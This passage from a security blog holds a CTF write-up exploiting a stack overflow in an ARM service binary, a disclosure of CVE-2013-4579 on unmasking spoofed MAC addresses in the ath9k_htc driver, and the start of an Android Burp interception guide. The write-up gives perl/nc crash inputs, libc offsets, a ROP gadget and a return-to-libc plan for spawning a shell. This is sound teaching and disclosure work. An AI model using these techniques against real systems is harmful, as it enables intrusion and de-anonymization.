<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEifJ4-I4WCtjX7KydZKm9C66FT3JerykJJqktJbHPuH4_0cCXavUoa7hBPW58X5PW-N1op_4sZDDSnjyaDGIzXFXzeeYACs-U6Wu2ydDt0UReqlvCpAiCCaIr9ICQdmlg3QvidJUPUluWuy/s1600/strafman_1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEifJ4-I4WCtjX7KydZKm9C66FT3JerykJJqktJbHPuH4_0cCXavUoa7hBPW58X5PW-N1op_4sZDDSnjyaDGIzXFXzeeYACs-U6Wu2ydDt0UReqlvCpAiCCaIr9ICQdmlg3QvidJUPUluWuy/s1600/strafman_1.png" /></a></div>
<br />
This is because <span style="font-family: Courier New, Courier, monospace;">start</span> is located at the uneven address 0x880D. In other words the binary starts executing in Thumb mode at address 0x880C, but IDA thinks it starts executing at 0x880D. We fix this by selecting address 0x880C, pressing ALT+G, and changing the value to 1 (this tells IDA that Thumb code is located at this address). Now again select address 0x880C and press C to directly convert the section to code.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEii3suerrco9FIYwTXW7zv9hx53kljj7AlN7v0WFyvUUPbduORayy4HURBx0BUiAi_HOFrUuurx-ri5N4Xjec2TViNs0ZX8L4Ff3ivM0n96dTc3Wx3VXWmnPQdEyX_bEvrgBr88HSyxkf_0/s1600/strafman_2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEii3suerrco9FIYwTXW7zv9hx53kljj7AlN7v0WFyvUUPbduORayy4HURBx0BUiAi_HOFrUuurx-ri5N4Xjec2TViNs0ZX8L4Ff3ivM0n96dTc3Wx3VXWmnPQdEyX_bEvrgBr88HSyxkf_0/s1600/strafman_2.png" /></a></div>
<br />
We see a call which initializes libc. The pointer to the main function is stored in r0. Hence main() is located at address 0x87E0 and is Thumb code. So go to address 0x87E0, press ALT+G, set value to 1, and repeat until all instructions are in Thumb. Now select all the instructions belonging to the main function and press P to create a function of this code block. We have to manually select all the instructions in the function because otherwise IDA fails to create the function for us. Rename the function to main.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiSxYZVFvh2OUJsgbaEg1K723Jek3LInTMjKfJ_9RYcKgknPJIeyT9OxALi1jPFvUkMavJZ2gphGeJZN-ja5I8DD9DjbbMp9RijGZyvmyaUxZJqheyhkvKgiV7JAM8A8TCOxIndXVeoovWA/s1600/strafman_2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiSxYZVFvh2OUJsgbaEg1K723Jek3LInTMjKfJ_9RYcKgknPJIeyT9OxALi1jPFvUkMavJZ2gphGeJZN-ja5I8DD9DjbbMp9RijGZyvmyaUxZJqheyhkvKgiV7JAM8A8TCOxIndXVeoovWA/s1600/strafman_2.png" /></a></div>
<br />
With this starting point you can analyze what the binary is doing. Also remember to interact as much as possible with the application before looking at assembler code. In fact, I found one vulnerability by simply entering unusual inputs.<br />
<br />
The binary gets its input and output using stdin and stdout, respectively. During the CTF a new executable was spawned for every new connection and its input/output was forwarded. On startup the binary asks for a username. Our first goal is to find a valid username.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhaGA7LArGl2TPklZ7DBbvaCA7d6dLc8x9k3xIvUp6ujmNy_Mf-biGxHI_zLsaNPfv7dqJFtdoLDbrLieNhlSpvUnXBt2MJtIu4BVWR0Dpi5bjIWF0ieVExtpp6toY2D0yRIio4NUYVKgdO/s1600/strafman_2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhaGA7LArGl2TPklZ7DBbvaCA7d6dLc8x9k3xIvUp6ujmNy_Mf-biGxHI_zLsaNPfv7dqJFtdoLDbrLieNhlSpvUnXBt2MJtIu4BVWR0Dpi5bjIWF0ieVExtpp6toY2D0yRIio4NUYVKgdO/s1600/strafman_2.png" /></a></div>
<br />
We want to locate the code responsible for checking the username. To do this we find where the error message is referenced. So, open the Strings subview and double click on the "ERR Invalid User" string. Now select the name of the string (aErrInvalidUser) and press X to find all references to the string. Only one function is referencing this string, open it. After a little bit of reverse engineering we get the following:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiblm1Vnuxk1JehWr_alagVq-cX1oltywrAisTH2diC4W4WuaB8DOFEtawbRTyUU0ZLJa33Y_JLm86jhVRslEL1b36Ihblq6gUzF2rTnQeMim1FiK_GmfBMH7N3PGICGYdQni6kzSJHRI_s/s1600/strafman_3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiblm1Vnuxk1JehWr_alagVq-cX1oltywrAisTH2diC4W4WuaB8DOFEtawbRTyUU0ZLJa33Y_JLm86jhVRslEL1b36Ihblq6gUzF2rTnQeMim1FiK_GmfBMH7N3PGICGYdQni6kzSJHRI_s/s1600/strafman_3.png" /></a></div>
<br />
The ASCII string "traffic_operator" is loaded and compared to the string entered by the user. Based on the result of this comparison we either get the error message or are successfully logged in. That solves our first problem: the username is traffic_operator.<br />
<br />
Once logged in the user has three options:<br />
<ol>
<li><b>Get command</b>: the user enters a file name of exactly 40 alphanumeric characters. If this file was previously added (see next point) its content is loaded and displayed to the user.</li>
<li><b>Execute command</b>: the user enters a file name of at least 40 alphanumeric characters. It creates a file with as name the 40 first characters and allows to user to write arbitrary content to it.</li>
<li><b>Exit</b>.</li>
</ol>
After testing these functions we find a buffer overflow when getting a command (i.e. when reading a file). To trigger the overflow we write a large file using the second option, and then read it using the first option. In my virtual ARM environment I used the following commands to test and trigger the vulnerability:<br />
<ul>
<li><b>ARM host</b>: nc -c ./trafman -l -p 8000</li>
<li><b>Guest OS</b>: perl -e 'print "traffic_operator\n2\n"."a"x40 ."\n"."A"x400 ."\n1\n"."a"x40 ."\n"' | nc localhost 8000</li>
</ul>
We will analyze the crash in more detail in the next section. First, we reverse engineer the option menu. It's easy to locate this code because it's contained in the only function that main() calls. So open main and double click on the only non-library function being called. The text-based interface shows only three options. However, when looking at the code, we see there is a hidden option. When entering 23 the address of printf is displayed:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhYGTh8S7CKeIGcFr2ZIJvNuJpTjDr_Q_AGRR2lRjLUyWF_B-Ofyy8L4FdR9Yt0p_htEhM94pshy5TTYaGR1cTSjJ6cMkjNN-1JP9F0548qCyd0zDjRXECYom-sPkEdYJ4_1UciblNEucxI/s1600/strafman_3.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhYGTh8S7CKeIGcFr2ZIJvNuJpTjDr_Q_AGRR2lRjLUyWF_B-Ofyy8L4FdR9Yt0p_htEhM94pshy5TTYaGR1cTSjJ6cMkjNN-1JP9F0548qCyd0zDjRXECYom-sPkEdYJ4_1UciblNEucxI/s1600/strafman_3.png" /></a></div>
<br />
Notice that r0 is set to 0x8FC4 which is a pointer to the ASCII string "> %p". Register r7 is initialized in the beginning of the function to 0x12010. This address contains the dynamically loaded address of printf. Hence, it will tell us where libc is located in memory.<br />
<br /></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<b><span style="font-size: large;">Getting Control of the Program Counter</span></b></div>
<div style="text-align: justify;">
<br />
We know what to do to crash the program. But we don't yet know what is causing the crash, which code is responsible, and whether it's exploitable. To answer these questions we run the binary in a debugger. Executing the following commands allows us to connect to the service from our host OS yet still debug the trafman binary itself:<br />
<ul>
<li>gbc nc</li>
<li>set follow-fork-mode child</li>
<li>r -c ./trafman -l -p 8000</li>
</ul>
We now trigger the crash with:<br />
<ul>
<li>perl -e 'print "traffic_operator\n2\n"."a"x40 ."\n"."A"x400 ."\n1\n"."a"x40 ."\n"' | nc localhost 8000</li>
</ul>
This results in a segmentation fault because it's trying to execute code at 0x41414141. Executing "x/20x $sp" in gdb to dump the stack shows that it's likely a stackoverflow vulnerability. With this alone we know enough to write a functional exploit. But since we're learning ARM we will take a look at the code that is responsible for the buffer overflow. We open the function that is executed when the user selects option 1 in the menu and reverse it.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgq6DhUBALTyXcPfhq6LLYxVPWPF-zekl3ATyhtmvP6L6q_0i02THPXyinLl1UIxeaJSKkFcKIdc8uXoQyiyQCZfJ7o6nb9f_LU2LA9YhIJrOqO73Z4gYqQSbaGTjdwMo7UNC1YLnaZImAX/s1600/strafman_3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgq6DhUBALTyXcPfhq6LLYxVPWPF-zekl3ATyhtmvP6L6q_0i02THPXyinLl1UIxeaJSKkFcKIdc8uXoQyiyQCZfJ7o6nb9f_LU2LA9YhIJrOqO73Z4gYqQSbaGTjdwMo7UNC1YLnaZImAX/s1600/strafman_3.png" /></a></div>
<br />
What happens here is that each byte in the file gets read using fgetc until we are at the end of the file. In every loop the new byte is saved to an array on the stack, which will eventually overflow. The function returns to the caller using a "<span style="font-family: Courier New, Courier, monospace;">pop {pc}</span>" instruction. An interesting instruction here is "<span style="font-family: Courier New, Courier, monospace;">adds r0, #1</span>". It adds one to the register r0, and updates the status (a.k.a. condition) flags according to the resulting value. In particular, if the result is zero (meaning r0 was -1), the zero flag will be set. Using the BNE instruction we test for the zero flag. If it is set we exit the loop. Note that more instructions can set the status flag this way, and they can be recognized using the S suffix.<br />
<br />
So we indeed have a classic buffer overflow (without a stack canary). The return address is saved on the stack and popped on the function exit. Our first step in exploiting the binary is to find out where we have to put the return address in our file (remember that the content of the file is written to the stack and parts of it will overflow the saved return address). To quickly accomplish this we use the pattern_create tool from metasploit. We again start the binary in Qemu as follows (I won't repeat this again):<br />
<ul>
<li>gbc nc</li>
<li>set follow-fork-mode child</li>
<li>r -c ./trafman -l -p 8000</li>
</ul>
</div>
<div style="text-align: justify;">
On our host we execute the following commands:<br />
<ul>
<li>PATRN=$(/usr/share/metasploit-framework/tools/pattern_create.rb 400)</li>
<li>perl -e 'print "traffic_operator\n2\n"."a"x40 ."\n"."'$PATRN'" ."\n1\n"."a"x40 ."\n"' | nc localhost 8000</li>
</ul>
</div>
<div style="text-align: justify;">
We let pattern_create.rb generate a unique pattern of 400 characters. As an example, a unique pattern of 20 characters would be "Aa0Aa1Aa2Aa3Aa4Aa5Aa". If we now know which bytes in this pattern get loaded in the program counter, we can let pattern_offset.rb calculate the offset where the return address is located in our file. In gdb we see it segfaults with the program counter at 0x41326a40. So we find the offset with the following command:<br />
<ul>
<li>/usr/share/metasploit-framework/tools/pattern_offset.rb 41326a40</li>
</ul>
This returns 276. So we have to put the return address <b>276</b> bytes into the payload. As a quick test, execute the following command:<br />
<ul>
<li>perl -e 'print "traffic_operator\n2\n"."a"x40 ."\n"."A"x<b>276</b> ."ABCD\n1\n"."a"x40 ."\n"' | nc localhost 8000</li>
</ul>
This will segfault with the program counter at "ABCD". We now need to point the program counter to code that will get us a shell. Unfortunately the binary uses both ASLR and NX, meaning it uses random addresses, and we can't execute data on the stack and/or heap.<br />
<br />
<br />
<b><span style="font-size: large;">Defeating ASLR and NX</span></b><br />
<br />
Our goal is a return-to-libc attack. In particular we will attempt to execute system("/bin/sh"). Defeating ASLR is trivial due to the hidden menu option which prints the address of printf. Based on the address of printf we can locate the addresses of other variables and functions within the libc library. To get the address of printf and system for a specific run we execute "p printf" and "p system" in gdb. This gives:<br />
<ul>
<li>system: 0x76f2aa38</li>
<li>printf: 0x76f347d4</li>
</ul>
There is one catch: gdb says these functions are located at an even address. However, the functions are actually Thumb code! So make sure that the correct processor mode is used when executing these functions (if necessary make the addresses uneven). Anyway, the hidden menu option returns an uneven address, hence to get the address of system we take the address of printf and substract 0x9D9C from it.<br />
<br />
So we can call system, but still need to pass an argument to it. There are two steps to accomplish this, first we need to find out where in memory the string "/bin/sh" is located, then we need to find a way to put a pointer to this string into register r0 (recall that r0 contains the first argument of a function).<br />
<br />
Finding a "/bin/sh" string it easy. Internally the system() function uses it as well, so it's located in the libc library. To quick find it execute the following in gdb:<br />
<ul>
<li>find &system, +99999999, "/bin/sh"</li>
</ul>
In my particular instance this returned 0x76fc6528. So to dynamically get the address of "/bin/sh" we take the address of printf and add 0x91D53 to it (again remember that the hidden option returns the uneven address). To load this pointer into r0 with NX enabled we will use return-oriented-programming (ROP).<br />
<br />
We will use ROP gadgets located in the libc library, because that's the only library we know the addresses of. Within the library we have to find gadgets which set r0 and let us return to the system function. To do this I transferred libc.so.6 to the host and executed:<br />
<ul>
<li>arm-linux-objdump -d libc.so.6 | grep "pop.*r0.*pc"</li>
</ul>
<div>
To install the arm-linux-* tools see <a href="http://io.smashthestack.org/arm/">IO SmashTheStack</a>. There are likely better tools to find usable gadgets, but this quick and dirty method got the job done. Important is to search for both Thumb and ARM gadgets! Forcing Thumb mode can be done using -Mforce-thumb. The most interesting gadget found was:</div>
<div>
<ul>
<li><b>5a7bc</b>: pop {r0, r4, pc}</li>
</ul>
</div>
Remark that this is ARM instruction. In objdump printf is located at 0x387d4. I found this by executing:<br />
<ul>
<li>arm-linux-objdump -d libc.so.6 | grep "printf>:"</li>
</ul>
So to dynamically get the location of the gadget we take the location of printf and add 0x21FE8 to it. Good, we now have everything in place to trigger the overflow and make it execute system("/bin/sh"). Combining all findings results in <a href="http://paste.debian.net/70960/">the following exploit</a>, where I wrote the nclib myself and its functionality should be self-explanatory. When executing the exploit it looks like this:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjSh07fTs_4jmpats5OhDH_g5XxQo9HMQ2ewadYFABpO9Ad-lVjFulZlNIgVcL5zQKvUt6zNNEntX6SZuG05roE6LwT8p2hBAGWYNaMFyf8vQg2g9uTn8YhyQAdOr-LeaReOAJ3PhDIWGxx/s1600/strafman_4.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjSh07fTs_4jmpats5OhDH_g5XxQo9HMQ2ewadYFABpO9Ad-lVjFulZlNIgVcL5zQKvUt6zNNEntX6SZuG05roE6LwT8p2hBAGWYNaMFyf8vQg2g9uTn8YhyQAdOr-LeaReOAJ3PhDIWGxx/s1600/strafman_4.png" /></a></div>
<br />
DONE. FINALLY! :D</div>
Mathyhttp://www.blogger.com/profile/12266874794108836514noreply@blogger.com6tag:blogger.com,1999:blog-3500917063499850097.post-64004346970024834842013-11-10T16:24:00.001+01:002020-06-24T02:13:53.992+02:00Unmasking a Spoofed MAC Address (CVE-2013-4579)<div style="text-align: justify;">
<div style="text-align: justify;">
<b><span style="color: red;">Update</span></b>: This vulnerability has been fixed in <a href="http://www.kernelhub.org/?p=2&msg=396037">kernel 3.8.13.16</a> and above.<br />
<br /><div style="text-align: left;">
Certain Atheros wireless drivers do not properly update the MAC address when changed (spoofed) by a user. This allows an active attacker to retrieve the original MAC address. In short, spoofing your MAC address does not always hide the original MAC address.</div></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<center>
<iframe allowfullscreen="" frameborder="0" height="375" mozallowfullscreen="" src="//player.vimeo.com/video/79032071" webkitallowfullscreen="" width="500"></iframe></center>
</div>
</div>
<div style="text-align: justify;">
<div style="text-align: justify;">
<br /></div>
</div>
<div style="text-align: justify;">
<div style="text-align: justify;">
<span style="font-size: large;"><b>Background</b></span></div>
</div>
<div style="text-align: justify;">
<div style="text-align: left;">
<br /></div>
</div>
<div style="text-align: left;">
<div>
While working on the ath9k_htc driver<span style="color: #444444; font-family: "arial", sans-serif; font-size: x-small;"><span style="line-height: 16px;"> (</span></span>used by Atheros USB WiFi dongles<span style="color: #444444; font-family: "arial", sans-serif; font-size: x-small;"><span style="line-height: 16px;">) </span></span>I noticed the driver did not properly set a spoofed MAC address. Though the device appears to use the newly assigned MAC address correctly, the flaw allows an attacker capable of injecting packets towards the target to uncover the original MAC address.</div>
</div>
<div style="text-align: left;">
<div>
<br /></div>
</div>
<div style="text-align: justify;">
<div style="text-align: left;">
The cause of the problem lies in how the driver and hardware implement <a href="http://wireless.kernel.org/en/users/Documentation/iw/vif/">Multiple Virtual Interface (VIF)</a> support. Using this technology a single wireless chip can listen on multiple MAC addresses. Because sending an <a href="https://en.wikipedia.org/wiki/Retransmission_(data_networks)">acknowledgement</a> to correctly received packets is done in hardware, a question that arises is how the wireless chip can quickly determine whether a wireless packet was destined for it. At first you'd think there must be some method to give the hardware a (possibly fixed length) list of MAC addresses to listen on. However, some devices uses a different strategy (and in particular Atheros devices uses this method). Their strategy is the following: the wireless chip has a register which contains the "main" hardware MAC address (<span style="font-family: "courier new", "courier", monospace;">mainmac</span>), and a register containing a mask (<span style="font-family: "courier new", "courier", monospace;">macmask</span>). Given an incoming frame destined for a particular mac (<span style="font-family: "courier new", "courier", monospace;">incmac</span>), it sends an ACK and accepts the frame if and only if: (<span style="font-family: "courier new", "courier", monospace;">mainmac & macmask) == (incmac & macmask)</span>. You can see that <span style="font-family: "courier new", "courier", monospace;">macmask</span> determines which bits of <span style="font-family: "courier new", "courier", monospace;">incmask</span><span style="font-family: inherit;"> (MAC of the packet being received)</span> have to match those of <span style="font-family: "courier new", "courier", monospace;">mainmac</span>. Essentially the <span style="font-family: "courier new", "courier", monospace;">macmask</span> represents the locations where the bits of all the virtual MAC addresses are identical to the "main" hardware MAC address (<span style="font-family: "courier new", "courier", monospace;">mainmac</span>).</div>
</div>
<div style="text-align: justify;">
<div style="text-align: justify;">
<br /></div>
</div>
<div style="text-align: justify;">
<div style="text-align: left;">
To clarify, consider a device having two virtual interfaces, one with MAC address 72:40:a2:3f:65:5a and another one with address 8e:8e:95:cd:90:4e. In binary these MAC addresses are:</div>
</div>
<div style="text-align: left;"><blockquote class="tr_bq">
<div>
01110010 : 01000000 : 10100010 : 00111111 : 01100101 : 01011010<br /></div>
<div>
10001110 : 10001110 : 10010101 : 11001101 : 10010000 : 01001110<span style="text-align: justify;"></span></div>
</blockquote></div>
<div style="text-align: left;">
<div>
Now, <span style="font-family: "courier new", "courier", monospace;">macmask</span> should consist of the bits where both these MAC addresses are the same (mathematically that's the negation of the XOR). In our example the mask would be:</div>
</div>
<div style="text-align: left;">
<blockquote class="tr_bq">
<div>
00000011 : 00110001 : 11001000 : 00001101 : 00001010 : 11101011<br /></div>
</blockquote>
</div>
<div style="text-align: justify;">
<div style="text-align: left;">
So the wireless chip can pick either 72:40:a2:3f:65:5a or 8e:8e:95:cd:90:4e as its main MAC address, and then set the mask to 03:31:c8:0d:0a:eb. Frames sent to either of these MAC addresses will now be accepted and acknowledged. For more details see the <a href="http://lxr.free-electrons.com/source/drivers/net/wireless/ath/hw.c#L26">comments in the atheros driver source file</a>. Unfortunately this technique has the side effect that the wireless chipset now <a href="http://permalink.gmane.org/gmane.linux.kernel.wireless.general/107039">listens on more MAC addresses</a> then we really want, as not all bits of incoming frames are checked!</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<b><span style="font-size: large;">Vulnerability Details</span></b></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: left;">
When a MAC address is spoofed the driver does not simply update the <span style="font-family: "courier new", "courier", monospace;">mainmac</span> register. Instead the <span style="font-family: "courier new", "courier", monospace;">mainmac</span> register will still contain the original MAC address, and <span style="font-family: "courier new", "courier", monospace;">macmask</span> will contain the bits where the original and spoofed MAC agree (see previous section). The wireless chip will acknowledge frames sent to the spoofed MAC addresses, and the operating system will include the spoofed MAC address in all packets, so everything will seem to work properly. Unfortunately this method allows an attacker to uncover the original MAC address bit by bit (given the spoofed MAC address). Specifically we can determine the value of any bit of the original MAC address as follows:</div>
<ol>
<li style="text-align: left;"><b>Flip the bit in the spoofed MAC address</b> and send a packet to the modified MAC address.</li>
<li style="text-align: left;">We now have two cases:</li>
<ul style="text-align: left;">
<li><b>The device replies with an ACK</b>: This means the mask for this bit is zero, thus the bit in the spoofed MAC address was different than the original MAC address.</li>
<li><b>Device doesn't reply</b>: This means the mask for this bit is one, so the bit we are guessing was identical to the bit in the spoofed MAC</li>
</ul>
</ol>
<div style="text-align: left;">
By doing this for each bit, we eventually learn the complete original MAC address.</div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
The vulnerability has been successfully exploited against <a href="http://wikidevi.com/w/index.php?title=Special%3AAsk&q=%5B%5BChip1+model%3A%3A~AR7010*%5D%5D&po=%3FInterface%0D%0A%3FForm+factor%3DFF%0D%0A%3FVendor+ID%0D%0A%3FDevice+ID%0D%0A%3FChip1+model%0D%0A%3FChip2+model%0D%0A%3FOUI%0D%0A&eq=yes&p%5Bformat%5D=broadtable&sort_num=&order_num=ASC&p%5Blimit%5D=500&p%5Boffset%5D=&p%5Blink%5D=all&p%5Bsort%5D=&p%5Bheaders%5D=show&p%5Bmainlabel%5D=&p%5Bintro%5D=&p%5Boutro%5D=&p%5Bsearchlabel%5D=%E2%80%A6+further+results&p%5Bdefault%5D=&p%5Bclass%5D=sortable+wikitable+smwtable&eq=yes">AR7010</a> and <a href="http://wikidevi.com/w/index.php?title=Special%3AAsk&q=%5B%5BChip1+model%3A%3A~AR9271*%5D%5D&po=%3FInterface%0D%0A%3FForm+factor%3DFF%0D%0A%3FVendor+ID%0D%0A%3FDevice+ID%0D%0A%3FChip1+model%0D%0A%3FChip2+model%0D%0A%3FOUI%0D%0A&eq=yes&p%5Bformat%5D=broadtable&sort_num=&order_num=ASC&p%5Blimit%5D=500&p%5Boffset%5D=&p%5Blink%5D=all&p%5Bsort%5D=&p%5Bheaders%5D=show&p%5Bmainlabel%5D=&p%5Bintro%5D=&p%5Boutro%5D=&p%5Bsearchlabel%5D=%E2%80%A6+further+results&p%5Bdefault%5D=&p%5Bclass%5D=sortable+wikitable+smwtable&eq=yes">AR9271</a> chipsets (which use the ath9k_htc driver) under following operating systems:</div>
</div>
<ul style="text-align: left;">
<li>Debian 7.2.0 amd64 and i386</li>
<li>Kali 1.0.5 amd64 and i386</li>
<li>Ubuntu 13.10 amd64 and i386</li>
</ul>
<div style="text-align: justify;">
<div style="text-align: left;">
The ath9k driver is not vulnerable (see comments below). The ath5k and ath10k were not tested and/or investigated. Other drivers also capable of creating multiple virtual interfaces with different MAC addresses, on a single device, might also be susceptible to the same vulnerability (so feel free test your device and post results).</div>
</div>
<div style="text-align: justify;">
<div style="text-align: left;">
<br /></div>
</div>
<div style="text-align: left;">
<div>
<span style="font-size: large;"><b>Exploit</b></span></div>
</div>
<div style="text-align: left;">
<div>
<br /></div>
</div>
<div style="text-align: left;">
<div>
A <a href="https://gist.github.com/vanhoefm/1dce5bf4cdd667d261067eaf7b60813e">proof of concept has been implemented</a> in python using scapy. Given a MAC address that you suspect to be spoofed the tool will attempt to uncover the original MAC address. In case the tool returns the same MAC address as you entered, it means the target is not susceptible to the attack, or that the target is using the default MAC address of the device.</div>
</div>
<div style="text-align: left;">
<div>
<br /></div>
</div>
<div style="text-align: left;">
<div>
<span style="font-size: large;"><b>Patch</b></span></div>
</div>
<div style="text-align: left;">
<div>
<br /></div>
</div>
<div style="text-align: justify;">
<div style="text-align: left;">
Update: I have <a href="https://gist.github.com/vanhoefm/dc2dd6993c402e7b10d7abc190684bf5">made a patch</a> and <a href="http://thread.gmane.org/gmane.linux.kernel.wireless.general/116199/focus=116264">submitted it</a> to the linux-wireless@vger.kernel.org mailing list (before this patch I also notified the <a href="https://lists.ath9k.org/pipermail/ath9k-devel/2013-November/012215.html">ath9k-devel mailing list</a> of the bug and filed a <a href="http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=729573">bug report</a> for debian). The CVE ID of this bug is <span style="text-align: start;"><a href="https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2013-4579">CVE-2013-4579</a>.</span></div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
<b><span style="font-size: large;">Final Remarks</span></b></div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
Though spoofing a MAC address can be done securely by simply updating <span style="font-family: "courier new", "courier", monospace;">mainmac</span>, an attacker can use the same technique to learn that two virtual MAC addresses actually belong to the same user. So if you put up several virtual interfaces (possibly with random MAC addresses) <b>they can be easily linked back together</b> (again, that's if your device uses a method similar to the one described above). This flaw is inherent to usage of <span style="font-family: "courier new", "courier", monospace;">macmask</span> and, at first sight, seems difficult to fix.</div>
</div>
Mathyhttp://www.blogger.com/profile/12266874794108836514noreply@blogger.com7tag:blogger.com,1999:blog-3500917063499850097.post-58171708804467126152013-06-16T14:24:00.001+02:002013-06-16T14:24:49.739+02:00Transparent Interception of Android HTTPS TrafficSmoothly intercepting HTTPS traffic of the Android emulator can be a pain in the ass. In particular when you're using a proxy such as Burp, you might not even know that some connections are <b>not being intercepted</b>. During a pentest this is something you absolutely want to avoid. That's why I created a small script to <b>see all the connections</b> the emulator is trying to make (including those that are not shown by your normal proxy).<br />
<br />
<b><span style="font-size: large;">Preparing Test Environment</span></b><br />
<br />
It's handy to have a small script which initializes the PATH variable for easy access to all your tools. I use a setenvironment.bat file with the following commands:<br />
<blockquote class="tr_bq">
@ECHO OFF<br />
SET PATH=%PATH%;C:\Program Files\Java\jdk1.7.0_01\bin<br />
SET PATH=%PATH%;C:\Program Files (x86)\Android\android-sdk\platform-tools<br />
SET PATH=%PATH%;C:\Program Files (x86)\Android\android-sdk\tools<br />
SET PATH=%PATH%;C:\Python27<br />
SET PATH=%PATH%;C:\Mobile-Tools<br />
ECHO === Environment for Andriod Pentesting has been set ===</blockquote>
Modify the paths to match your own environment. You don't have to use that to follow this post, as long as you can execute the command. We begin by starting the emulator<sup>1 2</sup> and installing the application we want to test:<br />
<blockquote class="tr_bq">
<b>emulator @Android4</b><br />
<b>adb install WhatsApp.apk</b></blockquote>
Our goal will be to intercept and manipulate the traffic of WhatsApp using <a href="http://www.portswigger.net/burp/">Burp</a>.<br />
<br />
<b><span style="font-size: large;">Adding Burp CA Certificate</span></b><br />
<br />
First we have to add the CA certificate of Burp as a trusted CA. In this post we will focus on the Burp proxy, though this guide is applicable to other proxy's as well. First we configure Burp to generate CA-signed per-host certificates. In <i>Proxy Listeners</i> select the appropriate entry and click on edit:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhbK7n2aIZPr89X9Pme_s3cHHQDkT8b-UpwPpJaKcLCxI15GfvK-dNrdEIcHq2uTEYLSZ8-CMpnNKgDRk7S2sGseDOob8vOyx9Ipe3wfpvY4kFlpELyBf3z2ubqA_1SM3pdHxWhtWsR2XUo/s1600/burpca.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhbK7n2aIZPr89X9Pme_s3cHHQDkT8b-UpwPpJaKcLCxI15GfvK-dNrdEIcHq2uTEYLSZ8-CMpnNKgDRk7S2sGseDOob8vOyx9Ipe3wfpvY4kFlpELyBf3z2ubqA_1SM3pdHxWhtWsR2XUo/s1600/burpca.png" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<br />
Burp now acts as a <a href="https://en.wikipedia.org/wiki/Certificate_authority">Certificate Authority (CA)</a> and automatically generates certificates for any domain. We will have the add the Burp CA as a trusted certificate authority on Android. First we need to obtain the public key of the Burp CA. For this we configure firefox to use Burp as a proxy and navigate to a HTTPS website. Now do the following and make sure "PortswiggerCA " is selected in the Certificate Hierarchy:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh3IoduUBAeQcE0DVseZCQ5qekq4B2-cY0WQTjAXewtfS24qnpgArUuv8gX7W2cWdACB1CZJKL4I8OJNd1R4Qc3KLFKai7vPy4sAgxv5yK_gcSlNlBuAlUWW9NkIcyRUXpwWK7wJROcg4Dt/s1600/firefox.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh3IoduUBAeQcE0DVseZCQ5qekq4B2-cY0WQTjAXewtfS24qnpgArUuv8gX7W2cWdACB1CZJKL4I8OJNd1R4Qc3KLFKai7vPy4sAgxv5yK_gcSlNlBuAlUWW9NkIcyRUXpwWK7wJROcg4Dt/s1600/firefox.png" /></a></div>
<br />
Save the certificate as PortSwiggerCA.crt and copy it over to the SD card of the emulator:<br />
<blockquote class="tr_bq">
<b>adb push PortSwiggerCA.crt /sdcard/PortSwiggerCA.crt</b></blockquote>
In the emulator go to settings, security and then <i>Install from SD card</i>. You will have to set a lock screen PIN in order to add it. This <i>should</i> do the trick! Now run the emulator using the proxy execute:<br />
<blockquote class="tr_bq">
<b>emulator @Android4 -http-proxy http://localhost:8080</b></blockquote>
